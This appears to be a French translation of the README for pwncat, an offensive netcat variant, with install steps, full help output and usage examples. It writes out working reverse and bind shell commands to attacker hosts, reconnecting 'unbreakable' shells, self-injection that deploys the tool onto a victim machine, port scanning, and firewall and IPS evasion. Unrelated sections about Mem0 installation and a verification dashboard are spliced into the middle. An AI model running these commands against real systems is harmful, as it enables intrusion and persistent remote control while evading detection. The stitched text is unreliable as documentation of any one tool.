# pwncat [![](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) [![Documentation Status](https://readthedocs.org/projects/pwn-cat/badge/?version=latest)](https://docs.pwncat.org/en/latest/?badge=latest) [![PyPI](https://img.shields.io/pypi/v/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Status](https://img.shields.io/pypi/status/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Format](https://img.shields.io/pypi/format/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Implementation](https://img.shields.io/pypi/implementation/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - License](https://img.shields.io/pypi/l/pwncat)](https://pypi.org/project/pwncat/) [![Build Status](https://github.com/cytopia/pwncat/workflows/linting/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=linting) [![Build Status](https://github.com/cytopia/pwncat/workflows/building/badge.svg)](https://github.com/cytopia/pwncat/actions?workflow=building) > > #### Netcat sous stéroïdes avec contournement de Firewall, IDS/IPS, shell bind et reverse, shell auto-injectant et magie de redirection de port - et entièrement scriptable avec Python ([PSE](https://github.com/cytopia/pwncat/blob/master/pse)). - [docs.pwncat.org](https://docs.pwncat.org) >

Style de code

Tests d'intégration ^[2]

Formateur	Statut
Black
mypy ^[1]
pycodestyle
pydocstyle
pylint

_Python^OS	Linux	MacOS	Windows
2.7
3.5
3.6
3.7
3.8
pypy2
pypy3

> ^{[1] Couverture de type mypy (entièrement typé : 94,00 %)}
> ^{[2] Les échecs de construction n'indiquent pas une fonctionnalité cassée. Les tests d'intégration s'exécutent pendant plusieurs heures et échouent sporadiquement pour diverses raisons (timeouts réseau, annulations inconnues des GitHub Actions, etc.) : #735, #841}
> #### Motivation Vous est-il déjà arrivé d'appuyer accidentellement sur Ctrl+c sur votre reverse shell et de le perdre pour de bon ? Avez-vous déjà attendu éternellement que votre client se reconnecte à vous parce que le pare-feu ne le laissait pas sortir ? Avez-vous déjà subi une perte de connexion parce qu'un IPS a fermé des ports suspects ? Avez-vous déjà eu besoin d'une redirection de port rapide ?
> **Celui-ci vous couvre.** En dehors de cela, les fonctionnalités actuelles de `nc`, `ncat` ou `socat` ne répondaient pas à mes besoins et je voulais aussi avoir un seul outil qui fonctionne sur les machines anciennes et récentes (d'où la compatibilité Python 2+3). Le plus important, je voulais l'avoir dans un langage que je comprends et pouvoir y ajouter mes propres fonctionnalités. (À venir prochainement, des versions binaires pour Linux, MacOS et Windows). ## :closed_book: Documentation | Documentation Pwncat | Lien | |:---------------------|:-----| | Documentation officielle | [https://docs.pwncat.org](https://docs.pwncat.org) | | Site web officiel | [https://pwncat.org](https://pwncat.org) | | Documentation de l'API | [https://pwncat.org/pwncat.api.html](https://pwncat.org/pwncat.api.html) | | Moteur de script Pwncat | [PSE](https://github.com/cytopia/pwncat/tree/master/pse) | ## :tada: Installation La version actuelle est : **0.1.2** #### Générique | [Pip](https://pypi.org/project/pwncat/) | |:-:| | [![](https://assets.kitploit.com/production/public/readmes/5318/0c875228bafdde548f4f29c339031d91581efdd0a8d34804ee8419498b73702a.png)](https://pypi.org/project/pwncat/) | | `pip install pwncat` | #### Spécifique à l'OS | **[MacOS][mac_lnk]** | **[Arch Linux][arch_lnk]** | **[BlackArch][barch_lnk]** | **[CentOS][centos_lnk]**^[1] | |:----------------------------:|:----------------------------:|:----------------------------------:|:--------------------------------------------:| | [![mac_img]][mac_lnk] | [![arch_img]][arch_lnk] | [![barch_img]][barch_lnk] | [![centos_img]][centos_lnk] | | `brew install pwncat` | `yay -S pwncat` | `pacman -S pwncat` | `yum install pwncat` | | **[Fedora][fedora_lnk]** | **[Kali Linux][kali_lnk]** | **[NixOS][nix_lnk]^[2]** | **[Oracle Linux][oracle_lnk]^[1]** | | [![fedora_img]][fedora_lnk] | [![kali_img]][kali_lnk] | [![nix_img]][nix_lnk] | [![oracle_img]][oracle_lnk] | | `dnf install pwncat` | `apt install pwncat` | `nixos.pwncat` | `yum install pwncat` | | **[Pentoo][pentoo_lnk]** | **[Parrot OS][parrot_lnk]** | | [![pentoo_img]][pentoo_lnk] | [![parrot_img]][parrot_lnk] | | `net-analyzer/pwncat` | `apt install pwncat` | > ^{[1] : Dépôt EPEL}
> ^{[2] : Instable} [mac_lnk]: https://formulae.brew.sh/formula/pwncat#default [mac_img]: https://assets.kitploit.com/production/public/readmes/5318/d04b2bec38a09f4c3559127c1f989cbca158c763a91716864eb694e38da66a6c.png [arch_lnk]: https://aur.archlinux.org/packages/pwncat/ [arch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/archlinux.png [barch_lnk]: https://www.blackarch.org/tools.html [barch_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/blackarch.png [centos_lnk]: https://pkgs.org/download/pwncat [centos_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/centos.png [fedora_lnk]: https://src.fedoraproject.org/rpms/pwncat [fedora_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/fedora.png [kali_lnk]: https://gitlab.com/kalilinux/packages/pwncat [kali_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/kali.png [nix_lnk]: https://search.nixos.org/packages?channel=unstable&query=pwncat [nix_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/nixos.png [oracle_lnk]: https://yum.oracle.com/repo/OracleLinux/OL8/developer/EPEL/x86_64/index.html [oracle_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/oracle-linux.png [parrot_lnk]: https://repology.org/project/pwncat/versions [parrot_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/parrot.png [pentoo_lnk]: https://repology.org/project/pwncat/versions [pentoo_img]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/pentoo.png ## :coffee: TL;DR Ceci est juste un aperçu rapide pour vous lancer. Pour des techniques plus avancées, voir **[:computer: Utilisation](#computer-usage)** ou **[:bulb: Exemples](#bulb-examples)**. ### Voir en action

Shells inversés incassables - comment générer

Shells inversés incassables - shells multiples

### Déployer sur la cible```bash # Copy base64 data to clipboard from where you have internet access curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64 # Paste it on the target machine echo "" | base64 -d > pwncat chmod +x pwncat ``` ### Injection dans la cible```bash # [1] If you found a vulnerability on the target to start a very simple reverse shell, # such as via bash, php, perl, python, nc or similar, you can instruct your local # pwncat listener to use this connection to deploy itself on the target automatically # and start an additional unbreakable reverse shell back to you. pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445 ``` > ^{[1] [Lire plus en détail sur l'auto-injection](#self-injecting-reverse-shell)

### Invoquer des shells```bash
# Bind shell (accepts new clients after disconnect)
pwncat -l -e '/bin/bash' 8080 -k
```
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
```
```bash
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1
```
### Scan de ports```bash
# [TCP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080
pwncat -z 10.0.0.1 1-65535
pwncat -z 10.0.0.1 1+1023

# [UDP] IPv4 + IPv6
pwncat -z 10.0.0.1 80,443,8080 -u
pwncat -z 10.0.0.1 1-65535 -u
pwncat -z 10.0.0.1 1+1023 -u

# Use only IPv6 or IPv4
pwncat -z 10.0.0.1 1-65535 -4
pwncat -z 10.0.0.1 1-65535 -6 -u

# Add version detection
pwncat -z 10.0.0.1 1-65535 --banner
```
### Redirection de port local `-L` (proxy d'écoute)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
```
```bash
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u
```
### Redirection de port distante `-R` (proxy double client)```bash
# Connect to Remote MySQL server (remote port 3306) and then connect to another
# pwncat/netcat server on 10.0.0.1:4444 and bridge traffic
pwncat -R 10.0.0.1:4444 everythingcli.org 3306
```
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
```
> _{[Tunnel SSH pour le plaisir et le profit :link:](https://www.everythingcli.org/ssh-tunnelling-for-fun-and-profit-local-vs-remote/)}

> _{[`pwncat` exemple : Magie de redirection de port](#port-forwarding-magic)_{## :star: Fonctionnalités

### En un coup d'œil

`pwncat` possède de nombreuses fonctionnalités, ci-dessous une liste des caractéristiques remarquables.

| Fonctionnalité | Description |
|------------------|-------------|
| [PSE](https://github.com/cytopia/pwncat/blob/master/pse) | Entièrement scriptable avec Pwncat Scripting Engine pour permettre toutes sortes de choses sophistiquées à l'envoi et à la réception |
| port scanning | Scan de ports TCP et UDP avec support de détection de version basique |
| Self-injecting rshell | Mode auto-injectant pour se déployer et lancer automatiquement un reverse shell incassable vers vous |
| Bind shell | Créer des bind shells |
| Reverse shell | Créer des reverse shells |
| Port Forward | Redirection de port locale et distante (serveur/client proxy) |
| Ctrl+c | Le reverse shell peut se reconnecter si vous appuyez accidentellement sur Ctrl+c |
| Detect Egress | Analyser et signaler les ports de sortie ouverts sur la cible (saut de port) |
| Evade FW | Contourner les pare-feu de sortie en utilisant le round-robin sur les ports sortants (saut de port) |
| Evade IPS | Contourner les systèmes de prévention d'intrusion en pouvant faire du round-robin sur les ports sortants lors d'interruptions de connexion (saut de port) |
| UDP rev shell | Essayez ceci avec le `netcat` traditionnel |
| Stateful UDP | Phase de connexion avec état pour le mode client UDP |
| TCP / UDP | Support complet TCP et UDP |
| IPv4 / IPv6 | Support double ou simple pile IPv4 et IPv6 |
| Python 2+3 | Fonctionne avec Python 2, Python 3, pypy2 et pypy3 |
| Cross OS | Fonctionne sur Linux, MacOS et Windows tant que Python est disponible |
| Compatability | Utilisez `netcat`, `ncat` ou `socat` comme client ou serveur avec `pwncat` |
| Portable | Fichier unique qui n'utilise que des packages de base - aucune dépendance externe requise. |

### Matrice de comparaison des fonctionnalités

| | pwncat | netcat | ncat | socat |
|---------------------|----------|--------|-------|-------|
| Moteur de script | ✔ Python | :x: | ✔ Lua | :x: |
| | | | | |
| IP ToS | ✔ | ✔ | :x: | ✔ |
| IPv4 | ✔ | ✔ | ✔ | ✔ |
| IPv6 | ✔ | ✔ | ✔ | ✔ |
| Sockets domaine Unix| :x: | ✔ | ✔ | ✔ |
| Linux vsock | :x: | :x: | ✔ | :x: |
| Liaison source de socket | ✔ | ✔ | ✔ | ✔ |
| | | | | |
| TCP | ✔ | ✔ | ✔ | ✔ |
| UDP | ✔ | ✔ | ✔ | ✔ |
| SCTP | :x: | :x: | ✔ | ✔ |
| SSL | :x: | :x: | ✔ | ✔ |
| HTTP | ✔ | :x: | :x: | :x: |
| HTTPS | * | :x: | :x: | :x: |
| | | | | |
| Négociation Telnet | :x: | ✔ | ✔ | :x: |
| Support proxy | :x: | ✔ | ✔ | ✔ |
| Redirection de port locale | ✔| :x: | :x: | ✔ |
| Redirection de port distante| ✔| :x: | :x: | :x: |
| | | | | |
| Scan de ports entrants | ✔ | ✔ | ✔ | :x: |
| Scan de ports sortants | ✔ | :x: | :x: | :x: |
| Détection de version | ✔ | :x: | :x: | :x: |
| | | | | |
| Chat | ✔ | ✔ | ✔ | ✔ |
| Exécution de commandes | ✔ | ✔ | ✔ | ✔ |
| Dump hexadécimal | * | ✔ | ✔ | ✔ |
| Broker | :x: | :x: | ✔ | :x: |
| Connexions simultanées| :x: | :x: | ✔ | ✔ |
| Autoriser/refuser | :x: | :x: | ✔ | ✔ |
| Ré-acceptation | ✔ | ✔ | ✔ | ✔ |
| Auto-injection | ✔ | :x: | :x: | :x: |
| UDP reverse shell | ✔ | :x: | :x: | :x: |
| Client qui se relance | ✔ | :x: | :x: | :x: |
| Saut de port | ✔ | :x: | :x: | :x: |
| Arrêt d'urgence | ✔ | :x: | :x: | :x: |

> ^{`*` Fonctionnalité actuellement en développement.

## :cop: Comportement

Comme l'implémentation originale de `netcat`, lors de l'utilisation de **TCP**, `pwncat`
(en mode client et écoute) se fermera automatiquement si la connexion réseau a été terminée,
correctement ou incorrectement.
Dans le cas où le pair distant ne termine pas la connexion, ou en mode **UDP**, `netcat` et `pwncat` resteront ouverts. Le comportement diffère un peu lorsque STDIN est fermé.

1. `netcat` : Si STDIN est fermé, mais que la connexion reste ouverte, `netcat` restera ouvert
2. `pwncat` : Si STDIN est fermé, mais que la connexion reste ouverte, `pwncat` se fermera

Vous pouvez émuler le comportement de `netcat` avec l'argument de ligne de commande `--no-shutdown`.

Jetez un œil aux commandes suivantes pour mieux comprendre ce comportement :```bash
# [Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

# [Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown
```
## Option 3: Install using pip

pip installation is currently only supported on x86_64 systems running Ubuntu 22.04, Ubuntu 24.04, [WSL2](https://learn.microsoft.com/en-us/windows/wsl/install), or macOS (Apple Silicon).

```bash
# CPU-only:
pip install mem0-cpu
# With GPU support:
pip install mem0-gpu
```

After installation, you can start using Mem0:

```python
import os
from mem0 import Memory

os.environ["OPENAI_API_KEY"] = "your-api-key"

config = {
"vector_store": {
"provider": "qdrant",
"config": {
"host": "localhost",
"port": 6333,
}
},
}

m = Memory.from_config(config)
m.add("I'm travelling to San Francisco", user_id="john")
memories = m.search("Where am I going?", user_id="john")
```

## In-Built Project UI

We also offer a project-based UI for managing all your personal memory. This provides a clean interface where you can view, organize, and manage your memory items across different projects without touching the command line.

Running the UI is straightforward. Make sure you have `mem0ai` installed:

```bash
pip install mem0ai
```

Then, run the following command:

```bash
mem0 server
```

This will start the server, and you can open the UI at [http://localhost:8000](http://localhost:8000).

---
## Documentation

For detailed documentation, including an architectural overview, advanced configurations, API reference, and contribution guidelines, visit our documentation site at [https://docs.mem0.ai](https://docs.mem0.ai).```bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80
```
### En ligne

![en ligne](https://github.com/user-attachments/assets/89d18933-f404-4ac6-9fb6-1b9a07b2e54d)

### En-tête

![en-tête](https://github.com/user-attachments/assets/a4af0bc3-a527-4ba4-b35d-82b253949346)

### Barre latérale

![barre latérale](https://github.com/user-attachments/assets/8b8b4a94-6ce3-45a4-990b-66c163e4a6f2)

## Tableau de bord

L’interface web permet actuellement de consulter la liste des résultats des vérifications, ainsi qu’une vue détaillée et un aperçu du fichier JSON brut. Le tableau de bord est accessible à l’adresse suivante :

```bash
http://localhost:3000/
```

> **Remarque** : Les modules qui ne disposent pas de fichiers de métadonnées compatibles seront affichés comme « Module not found ».

![résultats](https://github.com/user-attachments/assets/5f3ac942-4e3b-49e3-b07b-e3770a9e0e4e)```bash
# [TCP]
# Both instances will quit after successful file transfer.
pwncat -l 4444 > output.txt
pwncat localhost 4444 < input.txt

# [TCP]
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will quit as well.
pwncat -l 4444 --no-shutdown > output.txt
pwncat localhost 4444 --no-shutdown < input.txt
```
Sachez qu'il n'est pas fiable d'envoyer des fichiers via UDP```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt
```
Il existe de nombreuses façons de modifier ce comportement par défaut. Consultez la section [utilisation](#computer-usage) pour des réglages plus avancés.

## :computer: Utilisation

### Touches

| Comportement | ![Alt][Linux] | ![Alt][MacOS] | ![Alt][Windows] |
|----------------|---------------|---------------|-----------------|
| Quitter (SIGINT) | Ctrl+c | Ctrl+c | Ctrl+c |
| Quitter (SIGQUIT) | Ctrl+\\ | ? | ? |
| Quitter (SIGQUIT) | Ctrl+4 | ? | ? |
| Quitter STDIN^[1] | Ctrl+d | Ctrl+d | Ctrl+z et Ctrl+Entrée |
| Envoyer (NL) | Ctrl+j | ? | ? |
| Envoyer (EOL) | Ctrl+m | ? | ? |
| Envoyer (EOL) | Entrée | Entrée | Entrée |

> ^{[1] Fonctionne uniquement lorsque `--no-shutdown` et `--keep` ne sont pas utilisés. Fermera alors sa socket d'envoi, signalant le EOF côté distant et la fin de sa socket.}

[Linux]: https://assets.kitploit.com/production/public/readmes/5318/d2e2afd062404c2aa9625ce0ebef43894ed95ad34ab7cc53ab3029ce9def5c70.png "Linux"
[MacOS]: https://assets.kitploit.com/production/public/readmes/5318/d04b2bec38a09f4c3559127c1f989cbca158c763a91716864eb694e38da66a6c.png "MacOS"
[Windows]: https://assets.kitploit.com/production/public/readmes/5318/5327856a955b22c1626dbfba45e67bf4f8054788302599510a7ee5255257778c.png "Windows"

### Arguments de la ligne de commande

Tapez `pwncat -h` ou cliquez ci-dessous pour voir toutes les options disponibles.

Cliquez ici pour afficher l'utilisation```
usage: pwncat [options] hostname port
pwncat [options] -l [hostname] port
pwncat [options] -z hostname port
pwncat [options] -L [addr:]port hostname port
pwncat [options] -R addr:port hostname port
pwncat -V, --version
pwncat -h, --help

Enhanced and compatible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See options for how to automatically re-
connect.

positional arguments:
hostname Address to listen, forward, scan or connect to.

port [All modes]
Single port to listen, forward or connect to.
[Zero-I/O mode]
Specify multiple ports to scan:
Via list: 4444,4445,4446
Via range: 4444-4446
Via incr: 4444+2

mode arguments:
-l, --listen [Listen mode]:
Start a server and listen for incoming connections.
If using TCP and a connected client disconnects or the
connection is interrupted otherwise, the server will
quit. See -k/--keep-open to change this behaviour.

-z, --zero [Zero-I/0 mode]:
Connect to a remote endpoint and report status only.
Used for port scanning.
See --banner for version detection.

-L [addr:]port, --local [addr:]port
[Local forward mode]:
This mode will start a server and a client internally.
The internal server will listen locally on specified
addr/port (given by --local [addr:]port).
The server will then forward traffic to the internal
client which connects to another server specified by
hostname/port given via positional arguments.
(I.e.: proxies a remote service to a local address)

-R addr:port, --remote addr:port
[Remote forward mode]:
This mode will start two clients internally. One is
connecting to the target and one is connecting to
another pwncat/netcat server you have started some-
where. Once connected, it will then proxy traffic
between you and the target.
This mode should be applied on machines that block
incoming traffic and only allow outbound.
The connection to your listening server is given by
-R/--remote addr:port and the connection to the
target machine via the positional arguments.

optional arguments:
-e cmd, --exec cmd Execute shell command. Only for connect or listen mode.

-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing
line endings for input and outout accordingly. Specify
'no' to completely remove any line feeds. By default
it will not replace anything and takes what is entered
(usually CRLF on Windows, LF on Linux and some times
CR on MacOS).

-n, --nodns Do not resolve DNS.

--send-on-eof Buffer data received on stdin until EOF and send
everything in one chunk.

--no-shutdown Do not shutdown into half-duplex mode.
If this option is passed, pwncat won't invoke shutdown
on a socket after seeing EOF on stdin. This is provided
for backward-compatibility with OpenBSD netcat, which
exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv
or -vvvv for more verbosity. The server performance will
decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts
applied to the current socket connection. Valid
parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
Note, you must at least be in INFO verbose mode in order
to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'.
In 'auto' mode, color is displayed as long as the output
goes to a terminal. If it is piped into a file, color
will automatically be disabled. This mode also disables
color on Windows by default. (default: auto)

--safe-word str All modes:
If pwncat is started with this argument, it will shut
down as soon as it receives the specified string. The
--keep-open (server) or --reconn (client) options will
be ignored and it won't listen again or reconnect to you.
Use a very unique string to not have it shut down
accidentally by other input.

protocol arguments:
-4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection.
Valid values are the tokens 'mincost', 'lowcost',
'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP):
Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP):
Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]]
Add HTTP headers to your request when using --http(s).

command & control arguments:
--self-inject cmd:host:port[s]
Listen mode (TCP only):
If you are about to inject a reverse shell onto the
victim machine (via php, bash, nc, ncat or similar),
start your listening server with this argument.
This will then (as soon as the reverse shell connects)
automatically deploy and background-run an unbreakable
pwncat reverse shell onto the victim machine which then
also connects back to you with specified arguments.
Example: '--self-inject /bin/bash:10.0.0.1:4444'
It is also possible to launch multiple reverse shells by
specifying multiple ports.
Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446
Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
Via incr: --self-inject /bin/sh:10.0.0.1:4444+2
Note: this is currently an experimental feature and does
not work on Windows remote hosts yet.

pwncat scripting engine:
--script-send file All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed before
sending data to a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
# NOTE: the function name must be 'transform'
# NOTE: the function param name must be 'data'
# NOTE: indentation must be 4 spaces
# ... your transformations goes here
return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().

--script-recv file All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed after
receiving data from a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
# NOTE: the function name must be 'transform'
# NOTE: the function param name must be 'data'
# NOTE: indentation must be 4 spaces
# ... your transformations goes here
return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().

zero-i/o mode arguments:
--banner Zero-I/O (TCP and UDP):
Try banner grabbing during port scan.

listen mode arguments:
-k, --keep-open Listen mode (TCP only):
Re-accept new clients in listen mode after a client has
disconnected or the connection is interrupted otherwise.
(default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP):
If the server is unable to bind, it will re-initialize
itself x many times before giving up. Omit the
quantifier to rebind endlessly or specify a positive
integer for how many times to rebind before giving up.
See --rebind-robin for an interesting use-case.
(default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP):
Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP):
If the server is unable to initialize (e.g: cannot bind
and --rebind is specified, it it will shuffle ports in
round-robin mode to bind to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --rebind to at least the number of ports to probe +1
This option requires --rebind to be specified.

connect mode arguments:
--source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted, the client will connect again x many
times before giving up. Omit the quantifier to retry
endlessly or specify a positive integer for how many
times to retry before giving up.
(default: quit if the remote is not available or the
connection was interrupted)
This might be handy for stable TCP reverse shells ;-)
Note on UDP:
By default UDP does not know if it is connected, so
it will stop at the first port and assume it has a
connection. Consider using --udp-sconnect with this
option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP):
Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted and --reconn is specified, the client
will shuffle ports in round-robin mode to connect to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --reconn to at least the number of ports to probe +1
This helps reverse shell to evade intrusiona prevention
systems that will cut your connection and block the
outbound port.
This is also useful in Connect or Zero-I/O mode to
figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP):
UDP is a stateless protocol unlike TCP, so no hand-
shake communication takes place and the client just
sends data to a server without being "accepted" by
the server first.
This means a server waiting for an UDP client to
connect to, is unable to send any data to the client,
before the client hasn't send data first. The server
simply doesn't know the IP address before an initial
connect.
The --ping-init option instructs the client to send one
single initial ping packet to the server, so that it is
able to talk to the client.
This is a way to make a UDP reverse shell work.
See --ping-word for what char/string to send as initial
ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP):
Instruct the client to send ping intervalls every s sec.
This allows you to restart your UDP server and just wait
for the client to report back in. This might be handy
for stable UDP reverse shells ;-)
See --ping-word for what char/string to send as initial
ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP):
Change the default character '\0' to use for upd ping.
Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP):
Instruct the client to shuffle the specified ports in
round-robin mode for a remote server to ping.
This might be handy to scan outbound allowed ports.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only):
Emulating stateful behaviour for UDP connect phase by
sending an initial packet to the server to validate if
it is actually connected.
By default, UDP will simply issue a connect and is not
aware if it is really connected or not.
The default connect packet to be send is '\0', you
can change this with --udp-sconnect-word.

--udp-sconnect-word [str]
Connect mode (UDP only):
Change the the data to be send for UDP stateful connect
behaviour. Note you can also omit the string to send an
empty packet (EOF), but be aware that some servers such
as netcat will instantly quit upon receive of an EOF
packet.
The default is to send a null byte sting: '\0'.

misc arguments:
-h, --help Show this help message and exit
-V, --version Show version information and exit
```

## :bulb: Exemples

### Mettez à niveau votre shell en mode interactif

> Ce conseil est universel et fonctionne non seulement avec `pwncat`, mais aussi avec tous les autres outils courants.

Lorsque vous êtes connecté avec un reverse shell ou un bind shell, vous remarquerez qu'aucune commande interactive ne fonctionnera et que l'appui sur Ctrl+c mettra fin à votre session. Pour résoudre ce problème, vous devez l'attacher à un TTY (le rendre interactif). Voici comment :```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
Ctrl+z```bash
# get your current terminal size (rows and columns)
stty size

# for bash/sh (enter raw mode and disable echo'ing)
stty raw -echo
fg

# for zsh (enter raw mode and disable echo'ing)
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm
stty rows columns # and values found above by 'stty size'
```
> ^{[1] [Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)}

### Shell inversé UDP
Sans astuces, un shell inversé UDP n'est pas vraiment possible. UDP est un protocole sans état comparé à TCP et ne dispose pas d'une méthode `connect()` comme le fait TCP.
En mode TCP, le serveur connaîtra l'IP et le port du client une fois que le client a émis un `connect()`.
En mode UDP, comme il n'y a pas de `connect()`, le client envoie simplement des données à une adresse/port sans avoir à se connecter au préalable.
Par conséquent, en mode UDP, le serveur ne pourra pas connaître l'IP et le port du client et ne pourra donc pas lui envoyer de données en premier.
La seule façon de rendre cela possible est que le client envoie d'abord une sorte de données au serveur, afin que le serveur puisse voir quelle IP/port lui a envoyé des données.

`pwncat` émule le `connect()` de TCP en faisant en sorte que le client envoie un octet nul au serveur une fois ou périodiquement via `--ping-intvl` ou `--ping-init`.```bash
# The client
# --exec # Provide this executable
# --udp # Use UDP mode
# --ping-init # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444
```
### Unbreakable TCP reverse shell
Pourquoi sans interruption ? Parce qu'il continuera à revenir vers vous, même si vous arrêtez temporairement votre serveur d'écoute.
En d'autres termes, le client continuera d'essayer de se connecter au serveur spécifié jusqu'à réussite. Si la connexion est interrompue, il continuera d'essayer à nouveau.```bash
# The client
# --exec # Provide this executable
# --nodns # Keep the noise down and don't resolve hostnames
# -reconn # Automatically reconnect back to you indefinitely
# --reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444
```
### Shell inversé UDP incassable
Pourquoi incassable ? Parce qu'il continuera à revenir vers vous, même si vous tuez temporairement votre serveur d'écoute.
En d'autres termes, le client continuera à envoyer des octets nuls au serveur pour s'annoncer constamment.```bash
# The client
# --exec # Provide this executable
# --nodns # Keep the noise down and don't resolve hostnames
# --udp # Use UDP mode
# --ping-intvl # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444
```
### Shell inversé auto-injectant

Imaginez que vous puissiez créer un shell inversé très simple et instable depuis la cible vers votre machine, par exemple un shell web via un script PHP ou similaire. Sachant que cela ne persistera pas très longtemps ou pourrait se rompre en raison d'une connexion réseau instable, vous pouvez utiliser `pwncat` pour vous connecter à cette connexion et déployer automatiquement une version incassable sur la cible - entièrement automatisée.

> [Voir sur Youtube](https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s)

Tout ce que vous avez à faire est d'utiliser `pwncat` comme écouteur local et de le démarrer avec l'option `--self-inject`. Dès que le client (par exemple : le shell web inversé) s'y connecte, il fera plusieurs choses :

1. Énumérer la disponibilité et les versions de Python sur la cible
2. Se déverser lui-même encodé en base64 sur la cible
3. Utiliser le Python de la cible pour se décoder
4. Utiliser le Python de la cible pour se lancer en tant que shell inversé incassable vers vous

